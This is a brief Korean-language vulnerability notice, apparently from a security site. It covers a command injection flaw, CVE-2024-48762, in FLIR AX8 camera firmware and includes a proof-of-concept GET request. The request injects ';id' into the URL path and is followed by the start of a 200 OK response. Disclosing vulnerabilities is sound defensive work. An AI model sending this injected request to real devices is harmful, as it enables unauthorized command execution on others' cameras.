CVE-2024-48762

CVE-2024-48762 설명 FLIR AX8 1.46.16 이하 버전의 /usr/www/application/models/settingscamera.php에서 발견된 명령 주입 취약점으로, 공격자가 value 매개변수를 통해 임의의 명령을 실행할 수 있습니다. POC root@kitploit: GET /settings/applyfirmware/;idtest123.txt;/false HTTP/1.1 Host: XXXX 응답 root@kitploit: HTTP/1.1 200 OK X-Powered-By: PHP/5.4.14...